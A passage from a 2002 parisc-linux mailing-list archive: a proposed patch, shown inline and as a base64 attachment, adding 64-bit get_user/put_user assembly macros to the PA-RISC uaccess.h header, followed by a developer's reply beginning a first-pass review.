 	__asm__("\n1:\t" ldx "\t0(%2),%0\n"             \
 		"2:\n"					\
 		"\t.section __ex_table,\"a\"\n"         \
@@ -121,9 +127,25 @@
 		 "\t.word\t(2b-1b)+3\n"                 \
 		 "\t.previous"                          \
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err));             \
+	(x) = (__typeof__(*(ptr))) __gu_val;
 
-#define __get_user_asm(ldx,ptr)                         \
+#define __get_kernel_asm_64(x, ptr)                         \
+        __asm__ ("\n\tldw\t4(%1),%3\n"                      \
+                 "1:\tstw\t%3,4(%2)\n"                      \
+                 "\tldw\t0(%1),%3\n"                        \
+                 "2:\tstw\t%3,0(%2)\n"                      \
+                "3:\n"                                      \
+                "\t.section __ex_table,\"a\"\n"             \
+                 "\t.word\t1b\n"                            \
+                 "\t.word\t(3b-1b)+1\n"                     \
+                 "\t.word\t2b\n"                            \
+                 "\t.word\t(3b-2b)+1\n"                     \
+                 "\t.previous"                              \
+                : "=r"(__gu_err)                            \
+                : "r"(ptr), "r"(&(x)), "r"(__tmp), "0"(__gu_err));
+
+#define __get_user_asm(ldx,x, ptr)                      \
 	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n"       \
 		"2:\n"					\
 		"\t.section __ex_table,\"a\"\n"         \
@@ -131,19 +153,38 @@
 		 "\t.word\t(2b-1b)+3\n"                 \
 		 "\t.previous"                          \
 		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err));
+		: "r"(ptr), "1"(__gu_err));             \
+	(x) = (__typeof__(*(ptr))) __gu_val;
+
+#define __get_user_asm_64(x, ptr)                           \
+        __asm__ ("\n\tldw\t4(%%sr3,%1),%3\n"                \
+                 "1:\tstw\t%3,4(%2)\n"                      \
+                 "\tldw\t0(%%sr3,%1),%3\n"                  \
+                 "2:\tstw\t%3,0(%2)\n"                      \
+                "3:\n"                                      \
+                "\t.section __ex_table,\"a\"\n"             \
+                 "\t.word\t1b\n"                            \
+                 "\t.word\t(3b-1b)+1\n"                     \
+                 "\t.word\t2b\n"                            \
+                 "\t.word\t(3b-2b)+1\n"                     \
+                 "\t.previous"                              \
+                : "=r"(__gu_err)                            \
+                : "r"(ptr), "r"(&(x)), "r"(__tmp), "0"(__gu_err));
+
 #endif
 
 #define __put_user(x,ptr)                                       \
 ({								\
 	register long __pu_err __asm__ ("r8") = 0;		\
+        unsigned long long X = (unsigned long long) x;          \
+        unsigned long long * __tmp = 0;                         \
 								\
 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
 	    switch (sizeof(*(ptr))) {                           \
 	    case 1: __put_kernel_asm("stb",x,ptr); break;       \
 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
-	    case 8: STD_KERNEL(x,ptr); break;			\
+	    case 8: STD_KERNEL(X,ptr); break;			\
 	    default: BUG(); break;                              \
 	    }                                                   \
 	}                                                       \
@@ -152,7 +193,7 @@
 	    case 1: __put_user_asm("stb",x,ptr); break;         \
 	    case 2: __put_user_asm("sth",x,ptr); break;         \
 	    case 4: __put_user_asm("stw",x,ptr); break;         \
-	    case 8: STD_USER(x,ptr); break;			\
+	    case 8: STD_USER(X,ptr); break;			\
 	    default: BUG(); break;                              \
 	    }                                                   \
 	}                                                       \
@@ -200,6 +241,22 @@
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
 
+#define __put_kernel_asm_64(X, ptr)                           \
+	__asm__ __volatile__ (                              \
+		"\n\tldw\t0(%2),%3\n"                       \
+		"1:\tstw\t%3,0(%1)\n"                 \
+		"\tldw\t4(%2),%3\n"		            \
+		"2:\tstw\t%3,4(%1)\n"                 \
+		"3:\n"					    \
+		"\t.section __ex_table,\"a\"\n"             \
+		 "\t.word\t1b\n"                            \
+		 "\t.word\t(3b-1b)+1\n"                     \
+		 "\t.word\t2b\n"                            \
+		 "\t.word\t(3b-2b)+1\n"                     \
+		 "\t.previous"                              \
+		: "=r"(__pu_err)                            \
+		: "r"(ptr), "r"(&(X)), "r"(__tmp), "0"(__pu_err))
+
 #define __put_user_asm(stx,x,ptr)                           \
 	__asm__ __volatile__ (                              \
 		"\n1:\t" stx "\t%2,0(%%sr3,%1)\n"           \
@@ -210,6 +267,23 @@
 		 "\t.previous"                              \
 		: "=r"(__pu_err)                            \
 		: "r"(ptr), "r"(x), "0"(__pu_err))
+
+#define __put_user_asm_64(X, ptr)                           \
+	__asm__ __volatile__ (                              \
+		"\n\tldw\t0(%2),%3\n"                       \
+		"1:\tstw\t%3,0(%%sr3,%1)\n"                 \
+		"\tldw\t4(%2),%3\n"		            \
+		"2:\tstw\t%3,4(%%sr3,%1)\n"                 \
+		"3:\n"					    \
+		"\t.section __ex_table,\"a\"\n"             \
+		 "\t.word\t1b\n"                            \
+		 "\t.word\t(3b-1b)+1\n"                     \
+		 "\t.word\t2b\n"                            \
+		 "\t.word\t(3b-2b)+1\n"                     \
+		 "\t.previous"                              \
+		: "=r"(__pu_err)                            \
+		: "r"(ptr), "r"(&(X)), "r"(__tmp), "0"(__pu_err))
+
 #endif
#########


--=========3D8EED0B00001557/mail.tiscali.be
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pa-uaccess_h.patch"

LS0tIHVhY2Nlc3MuaC5vcmlnCTIwMDItMTAtMDQgMTA6MjM6NTkuMDAwMDAwMDAwICswMjAwCisr
KyB1YWNjZXNzLmgJMjAwMi0xMC0wNCAxNzowNzo1NC4wMDAwMDAwMDAgKzAyMDAKQEAgLTM1LDEw
ICszNSwxNSBAQAogI2RlZmluZSBnZXRfdXNlciBfX2dldF91c2VyCiAKICNpZiBCSVRTX1BFUl9M
T05HID09IDMyCi0jZGVmaW5lIExERF9LRVJORUwocHRyKQkJQlVHKCkKLSNkZWZpbmUgTEREX1VT
RVIocHRyKQkJQlVHKCkKLSNkZWZpbmUgU1REX0tFUk5FTCh4LCBwdHIpCUJVRygpCi0jZGVmaW5l
IFNURF9VU0VSKHgsIHB0cikJQlVHKCkKKworI2RlZmluZSBMRERfS0VSTkVMKHgsIHB0cikgX19n
ZXRfa2VybmVsX2FzbV82NCh4LCBwdHIpCisKKyNkZWZpbmUgTEREX1VTRVIoeCwgcHRyKSBfX2dl
dF91c2VyX2FzbV82NCh4LCBwdHIpCisKKyNkZWZpbmUgU1REX0tFUk5FTCh4LCBwdHIpIF9fcHV0
X2tlcm5lbF9hc21fNjQoeCwgcHRyKQorCisjZGVmaW5lIFNURF9VU0VSKHgsIHB0cikgX19wdXRf
dXNlcl9hc21fNjQoeCwgcHRyKQorCiAjZWxzZQogI2RlZmluZSBMRERfS0VSTkVMKHB0cikgX19n
ZXRfa2VybmVsX2FzbSgibGRkIixwdHIpCiAjZGVmaW5lIExERF9VU0VSKHB0cikgX19nZXRfdXNl
cl9hc20oImxkZCIscHRyKQpAQCAtNjgsMjcgKzczLDI4IEBACiAoeyAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAlyZWdpc3RlciBsb25nIF9f
Z3VfZXJyIF9fYXNtX18gKCJyOCIpID0gMDsgICAgICBcCiAJcmVnaXN0ZXIgbG9uZyBfX2d1X3Zh
bCBfX2FzbV9fICgicjkiKSA9IDA7ICAgICAgXAorICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcCisgICAgICAgIHVuc2lnbmVkIGludCBfX3Rt
cCA9IDA7ICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAkJCQkJCQlcCiAJaWYgKHNlZ21lbnRf
ZXEoZ2V0X2ZzKCksS0VSTkVMX0RTKSkgeyAgICAgICAgICAgXAogCSAgICBzd2l0Y2ggKHNpemVv
ZigqKHB0cikpKSB7ICAgICAgICAgICAgICAgICAgIFwKLQkgICAgY2FzZSAxOiBfX2dldF9rZXJu
ZWxfYXNtKCJsZGIiLHB0cik7IGJyZWFrOyBcCi0JICAgIGNhc2UgMjogX19nZXRfa2VybmVsX2Fz
bSgibGRoIixwdHIpOyBicmVhazsgXAotCSAgICBjYXNlIDQ6IF9fZ2V0X2tlcm5lbF9hc20oImxk
dyIscHRyKTsgYnJlYWs7IFwKLQkgICAgY2FzZSA4OiBMRERfS0VSTkVMKHB0cik7IGJyZWFrOwkJ
XAorCSAgICBjYXNlIDE6IF9fZ2V0X2tlcm5lbF9hc20oImxkYiIseCwgcHRyKTsgYnJlYWs7IFwK
KwkgICAgY2FzZSAyOiBfX2dldF9rZXJuZWxfYXNtKCJsZGgiLHgsIHB0cik7IGJyZWFrOyBcCisJ
ICAgIGNhc2UgNDogX19nZXRfa2VybmVsX2FzbSgibGR3Iix4LCBwdHIpOyBicmVhazsgXAorCSAg
ICBjYXNlIDg6IExERF9LRVJORUwoeCwgcHRyKTsgYnJlYWs7CQlcCiAJICAgIGRlZmF1bHQ6IEJV
RygpOyBicmVhazsgICAgICAgICAgICAgICAgICAgICAgXAogCSAgICB9ICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAl9ICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICBcCiAJZWxzZSB7ICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgXAogCSAgICBzd2l0Y2ggKHNpemVvZigqKHB0cikpKSB7ICAgICAg
ICAgICAgICAgICAgIFwKLQkgICAgY2FzZSAxOiBfX2dldF91c2VyX2FzbSgibGRiIixwdHIpOyBi
cmVhazsgICBcCi0JICAgIGNhc2UgMjogX19nZXRfdXNlcl9hc20oImxkaCIscHRyKTsgYnJlYWs7
ICAgXAotCSAgICBjYXNlIDQ6IF9fZ2V0X3VzZXJfYXNtKCJsZHciLHB0cik7IGJyZWFrOyAgIFwK
LQkgICAgY2FzZSA4OiBMRERfVVNFUihwdHIpOyAgYnJlYWs7CQlcCisJICAgIGNhc2UgMTogX19n
ZXRfdXNlcl9hc20oImxkYiIseCwgcHRyKTsgYnJlYWs7ICAgXAorCSAgICBjYXNlIDI6IF9fZ2V0
X3VzZXJfYXNtKCJsZGgiLHgsIHB0cik7IGJyZWFrOyAgIFwKKwkgICAgY2FzZSA0OiBfX2dldF91
c2VyX2FzbSgibGR3Iix4LCBwdHIpOyBicmVhazsgICBcCisJICAgIGNhc2UgODogTEREX1VTRVIo
eCwgcHRyKTsgIGJyZWFrOwkJXAogCSAgICBkZWZhdWx0OiBCVUcoKTsgYnJlYWs7ICAgICAgICAg
ICAgICAgICAgICAgIFwKIAkgICAgfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBcCiAJfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgXAogCQkJCQkJCVwKLQkoeCkgPSAoX190eXBlb2ZfXygqKHB0cikpKSBfX2d1X3ZhbDsgICAg
ICAgICAgICBcCiAJX19ndV9lcnI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgXAogfSkKIApAQCAtMTEzLDcgKzExOSw3IEBACiAJCTogIj1yIihfX2d1X3ZhbCksICI9ciIo
X19ndV9lcnIpICAgICAgICBcCiAJCTogInIiKHB0ciksICIxIihfX2d1X2VycikpOwogI2Vsc2UK
LSNkZWZpbmUgX19nZXRfa2VybmVsX2FzbShsZHgscHRyKSAgICAgICAgICAgICAgICAgICAgICAg
XAorI2RlZmluZSBfX2dldF9rZXJuZWxfYXNtKGxkeCx4LCBwdHIpICAgICAgICAgICAgICAgICAg
ICBcCiAJX19hc21fXygiXG4xOlx0IiBsZHggIlx0MCglMiksJTBcbiIgICAgICAgICAgICAgXAog
CQkiMjpcbiIJCQkJCVwKIAkJIlx0LnNlY3Rpb24gX19leF90YWJsZSxcImFcIlxuIiAgICAgICAg
IFwKQEAgLTEyMSw5ICsxMjcsMjUgQEAKIAkJICJcdC53b3JkXHQoMmItMWIpKzNcbiIgICAgICAg
ICAgICAgICAgIFwKIAkJICJcdC5wcmV2aW91cyIgICAgICAgICAgICAgICAgICAgICAgICAgIFwK
IAkJOiAiPXIiKF9fZ3VfdmFsKSwgIj1yIihfX2d1X2VycikgICAgICAgIFwKLQkJOiAiciIocHRy
KSwgIjEiKF9fZ3VfZXJyKSk7CisJCTogInIiKHB0ciksICIxIihfX2d1X2VycikpOyAgICAgICAg
ICAgICBcCisJKHgpID0gKF9fdHlwZW9mX18oKihwdHIpKSkgX19ndV92YWw7CiAKLSNkZWZpbmUg
X19nZXRfdXNlcl9hc20obGR4LHB0cikgICAgICAgICAgICAgICAgICAgICAgICAgXAor
I2RlZmluZSBfX2dldF9rZXJuZWxfYXNtXzY0KHgsIHB0cikgICAgICAgICAgICAgICAgICAgICAg
ICAgXAorICAgICAgICBfX2FzbV9fICgiXG5cdGxkd1x0NCglMSksJTNcbiIgICAgICAgICAgICAg
ICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiMTpcdHN0d1x0JTMsNCglMilcbiIgICAgICAg
ICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHRsZHdcdDAoJTEpLCUzXG4iICAg
ICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiMjpcdHN0d1x0JTMsMCgl
MilcbiIgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICIzOlxuIiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICJcdC5z
ZWN0aW9uIF9fZXhfdGFibGUsXCJhXCJcbiIgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAg
ICAiXHQud29yZFx0MWJcbiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAg
ICAgICAgICAiXHQud29yZFx0KDNiLTFiKSsxXG4iICAgICAgICAgICAgICAgICAgICAgXAorICAg
ICAgICAgICAgICAgICAiXHQud29yZFx0MmJcbiIgICAgICAgICAgICAgICAgICAgICAgICAgICAg
XAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0KDNiLTJiKSsxXG4iICAgICAgICAgICAgICAg
ICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQucHJldmlvdXMiICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgIDogIj1yIihfX2d1X2VycikgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgIDogInIiKHB0ciksICJyIigmKHgp
KSwgInIiKF9fdG1wKSwgIjAiKF9fZ3VfZXJyKSk7CisKKyNkZWZpbmUgX19nZXRfdXNlcl9hc20o
bGR4LHgsIHB0cikgICAgICAgICAgICAgICAgICAgICAgXAogCV9fYXNtX18oIlxuMTpcdCIgbGR4
ICJcdDAoJSVzcjMsJTIpLCUwXG4iICAgICAgIFwKIAkJIjI6XG4iCQkJCQlcCiAJCSJcdC5zZWN0
aW9uIF9fZXhfdGFibGUsXCJhXCJcbiIgICAgICAgICBcCkBAIC0xMzEsMTkgKzE1MywzOCBAQAog
CQkgIlx0LndvcmRcdCgyYi0xYikrM1xuIiAgICAgICAgICAgICAgICAgXAogCQkgIlx0LnByZXZp
b3VzIiAgICAgICAgICAgICAgICAgICAgICAgICAgXAogCQk6ICI9ciIoX19ndV92YWwpLCAiPXIi
KF9fZ3VfZXJyKSAgICAgICAgXAotCQk6ICJyIihwdHIpLCAiMSIoX19ndV9lcnIpKTsKKwkJOiAi
ciIocHRyKSwgIjEiKF9fZ3VfZXJyKSk7ICAgICAgICAgICAgIFwKKwkoeCkgPSAoX190eXBlb2Zf
XygqKHB0cikpKSBfX2d1X3ZhbDsKKworI2RlZmluZSBfX2dldF91c2VyX2FzbV82NCh4LCBwdHIp
ICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICBfX2FzbV9fICgiXG5cdGxkd1x0
NCglJXNyMywlMSksJTNcbiIgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiMTpc
dHN0d1x0JTMsNCglMilcbiIgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAg
ICAiXHRsZHdcdDAoJSVzcjMsJTEpLCUzXG4iICAgICAgICAgICAgICAgICAgXAorICAgICAgICAg
ICAgICAgICAiMjpcdHN0d1x0JTMsMCglMilcbiIgICAgICAgICAgICAgICAgICAgICAgXAorICAg
ICAgICAgICAgICAgICIzOlxuIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
XAorICAgICAgICAgICAgICAgICJcdC5zZWN0aW9uIF9fZXhfdGFibGUsXCJhXCJcbiIgICAgICAg
ICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0MWJcbiIgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0KDNiLTFiKSsxXG4iICAg
ICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0MmJcbiIgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQud29yZFx0KDNi
LTJiKSsxXG4iICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgICAiXHQucHJl
dmlvdXMiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAgICAgIDog
Ij1yIihfX2d1X2VycikgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorICAgICAgICAgICAg
ICAgIDogInIiKHB0ciksICJyIigmKHgpKSwgInIiKF9fdG1wKSwgIjAiKF9fZ3VfZXJyKSk7CisK
ICNlbmRpZgogCiAjZGVmaW5lIF9fcHV0X3VzZXIoeCxwdHIpICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgXAogKHsJCQkJCQkJCVwKIAlyZWdpc3RlciBsb25nIF9fcHVfZXJy
IF9fYXNtX18gKCJyOCIpID0gMDsJCVwKKyAgICAgICAgdW5zaWduZWQgbG9uZyBsb25nIFggPSAo
dW5zaWduZWQgbG9uZyBsb25nKSB4OyAgICAgICAgICBcCisgICAgICAgIHVuc2lnbmVkIGxvbmcg
bG9uZyAqIF9fdG1wID0gMDsgICAgICAgICAgICAgICAgICAgICAgICAgXAogCQkJCQkJCQlcCiAJ
aWYgKHNlZ21lbnRfZXEoZ2V0X2ZzKCksS0VSTkVMX0RTKSkgeyAgICAgICAgICAgICAgICAgICBc
CiAJICAgIHN3aXRjaCAoc2l6ZW9mKCoocHRyKSkpIHsgICAgICAgICAgICAgICAgICAgICAgICAg
ICBcCiAJICAgIGNhc2UgMTogX19wdXRfa2VybmVsX2FzbSgic3RiIix4LHB0cik7IGJyZWFrOyAg
ICAgICBcCiAJICAgIGNhc2UgMjogX19wdXRfa2VybmVsX2FzbSgic3RoIix4LHB0cik7IGJyZWFr
OyAgICAgICBcCiAJICAgIGNhc2UgNDogX19wdXRfa2VybmVsX2FzbSgic3R3Iix4LHB0cik7IGJy
ZWFrOyAgICAgICBcCi0JICAgIGNhc2UgODogU1REX0tFUk5FTCh4LHB0cik7IGJyZWFrOwkJCVwK
KwkgICAgY2FzZSA4OiBTVERfS0VSTkVMKFgscHRyKTsgYnJlYWs7CQkJXAogCSAgICBkZWZhdWx0
OiBCVUcoKTsgYnJlYWs7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogCSAgICB9ICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogCX0gICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
XApAQCAtMTUyLDcgKzE5Myw3IEBACiAJICAgIGNhc2UgMTogX19wdXRfdXNlcl9hc20oInN0YiIs
eCxwdHIpOyBicmVhazsgICAgICAgICBcCiAJICAgIGNhc2UgMjogX19wdXRfdXNlcl9hc20oInN0
aCIseCxwdHIpOyBicmVhazsgICAgICAgICBcCiAJICAgIGNhc2UgNDogX19wdXRfdXNlcl9hc20o
InN0dyIseCxwdHIpOyBicmVhazsgICAgICAgICBcCi0JICAgIGNhc2UgODogU1REX1VTRVIoeCxw
dHIpOyBicmVhazsJCQlcCisJICAgIGNhc2UgODogU1REX1VTRVIoWCxwdHIpOyBicmVhazsJCQlc
CiAJICAgIGRlZmF1bHQ6IEJVRygpOyBicmVhazsgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBcCiAJICAgIH0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBcCiAJfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBcCkBAIC0yMDAsNiArMjQxLDIyIEBACiAJCTogIj1yIihfX3B1X2VycikgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgXAogCQk6ICJyIihwdHIpLCAiciIoeCksICIwIihfX3B1X2Vy
cikpCiAKKyNkZWZpbmUgX19wdXRfa2VybmVsX2FzbV82NChYLCBwdHIpICAgICAgICAgICAgICAg
ICAgICAgICAgICAgXAorCV9fYXNtX18gX192b2xhdGlsZV9fICggICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBcCisJCSJcblx0bGR3XHQwKCUyKSwlM1xuIiAgICAgICAgICAgICAgICAgICAg
ICAgXAorCQkiMTpcdHN0d1x0JTMsMCglMSlcbiIgICAgICAgICAgICAgICAgIFwKKwkJIlx0bGR3
XHQ0KCUyKSwlM1xuIgkJICAgICAgICAgICAgXAorCQkiMjpcdHN0d1x0JTMsNCglMSlcbiIgICAg
ICAgICAgICAgICAgIFwKKwkJIjM6XG4iCQkJCQkgICAgXAorCQkiXHQuc2VjdGlvbiBfX2V4X3Rh
YmxlLFwiYVwiXG4iICAgICAgICAgICAgIFwKKwkJICJcdC53b3JkXHQxYlxuIiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBcCisJCSAiXHQud29yZFx0KDNiLTFiKSsxXG4iICAgICAgICAgICAg
ICAgICAgICAgXAorCQkgIlx0LndvcmRcdDJiXG4iICAgICAgICAgICAgICAgICAgICAgICAgICAg
IFwKKwkJICJcdC53b3JkXHQoM2ItMmIpKzFcbiIgICAgICAgICAgICAgICAgICAgICBcCisJCSAi
XHQucHJldmlvdXMiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAorCQk6ICI9ciIoX19w
dV9lcnIpICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKwkJOiAiciIocHRyKSwgInIiKCYo
WCkpLCAiciIoX190bXApLCAiMCIoX19wdV9lcnIpKQorCiAjZGVmaW5lIF9fcHV0X3VzZXJfYXNt
KHN0eCx4LHB0cikgICAgICAgICAgICAgICAgICAgICAgICAgICBcCiAJX19hc21fXyBfX3ZvbGF0
aWxlX18gKCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAkJIlxuMTpcdCIgc3R4ICJc
dCUyLDAoJSVzcjMsJTEpXG4iICAgICAgICAgICBcCkBAIC0yMTAsNiArMjY3LDIzIEBACiAJCSAi
XHQucHJldmlvdXMiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXAogCQk6ICI9ciIoX19w
dV9lcnIpICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKIAkJOiAiciIocHRyKSwgInIiKHgp
LCAiMCIoX19wdV9lcnIpKQorCisjZGVmaW5lIF9fcHV0X3VzZXJfYXNtXzY0KFgsIHB0cikgICAg
ICAgICAgICAgICAgICAgICAgICAgICBcCisJX19hc21fXyBfX3ZvbGF0aWxlX18gKCAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIFwKKwkJIlxuXHRsZHdcdDAoJTIpLCUzXG4iICAgICAgICAg
ICAgICAgICAgICAgICBcCisJCSIxOlx0c3R3XHQlMywwKCUlc3IzLCUxKVxuIiAgICAgICAgICAg
ICAgICAgXAorCQkiXHRsZHdcdDQoJTIpLCUzXG4iCQkgICAgICAgICAgICBcCisJCSIyOlx0c3R3
XHQlMyw0KCUlc3IzLCUxKVxuIiAgICAgICAgICAgICAgICAgXAorCQkiMzpcbiIJCQkJCSAgICBc
CisJCSJcdC5zZWN0aW9uIF9fZXhfdGFibGUsXCJhXCJcbiIgICAgICAgICAgICAgXAorCQkgIlx0
LndvcmRcdDFiXG4iICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwKKwkJICJcdC53b3JkXHQo
M2ItMWIpKzFcbiIgICAgICAgICAgICAgICAgICAgICBcCisJCSAiXHQud29yZFx0MmJcbiIgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgXAorCQkgIlx0LndvcmRcdCgzYi0yYikrMVxuIiAgICAg
ICAgICAgICAgICAgICAgIFwKKwkJICJcdC5wcmV2aW91cyIgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBcCisJCTogIj1yIihfX3B1X2VycikgICAgICAgICAgICAgICAgICAgICAgICAgICAg
XAorCQk6ICJyIihwdHIpLCAiciIoJihYKSksICJyIihfX3RtcCksICIwIihfX3B1X2VycikpCisK
ICNlbmRpZgogCiAK

--=========3D8EED0B00001557/mail.tiscali.be--


From - Thu Nov 08 21:24:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need help to improve uaccess.h patch
Date: Fri, 4 Oct 2002 09:08:33 -0700
Lines: 148
Approved: news@gmane.org
Message-ID: <20021004160833.GB5602@tausq.org>
References: <3D8EED0B00001557@ocpmta5.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621799 15109 80.91.229.3 (22 Nov 2014 02:03:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  4 10:05:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 309384829
	for <parisc-linux@parisc-linux.org>; Fri,  4 Oct 2002 10:05:15 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1A906CD83C; Fri,  4 Oct 2002 09:08:33 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3D8EED0B00001557@ocpmta5.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16389

Note: i haven't tested the patch, just some first-pass comments:

>  #else
>  #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
>  #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
> @@ -68,27 +73,28 @@
>  ({                                                      \
>  	register long __gu_err __asm__ ("r8") = 0;      \
>  	register long __gu_val __asm__ ("r9") = 0;      \
> +                                                        \
> +        unsigned int __tmp = 0;                         \
>  							\
>  	if (segment_eq(get_fs(),KERNEL_DS)) {           \
>  	    switch (sizeof(*(ptr))) {                   \
> -	    case 1: __get_kernel_asm("ldb",ptr); break; \
> -	    case 2: __get_kernel_asm("ldh",ptr); break; \
> -	    case 4: __get_kernel_asm("ldw",ptr); break; \
> -	    case 8: LDD_KERNEL(ptr); break;		\
> +	    case 1: __get_kernel_asm("ldb",x, ptr); break; \
> +	    case 2: __get_kernel_asm("ldh",x, ptr); break; \
> +	    case 4: __get_kernel_asm("ldw",x, ptr); break; \
> +	    case 8: LDD_KERNEL(x, ptr); break;		\
>  	    default: BUG(); break;                      \
>  	    }                                           \
>  	}                                               \
>  	else {                                          \
>  	    switch (sizeof(*(ptr))) {                   \
> -	    case 1: __get_user_asm("ldb",ptr); break;   \
> -	    case 2: __get_user_asm("ldh",ptr); break;   \
> -	    case 4: __get_user_asm("ldw",ptr); break;   \
> -	    case 8: LDD_USER(ptr);  break;		\
> +	    case 1: __get_user_asm("ldb",x, ptr); break;   \
> +	    case 2: __get_user_asm("ldh",x, ptr); break;   \
> +	    case 4: __get_user_asm("ldw",x, ptr); break;   \
> +	    case 8: LDD_USER(x, ptr);  break;		\
>  	    default: BUG(); break;                      \
>  	    }                                           \
>  	}                                               \
>  							\
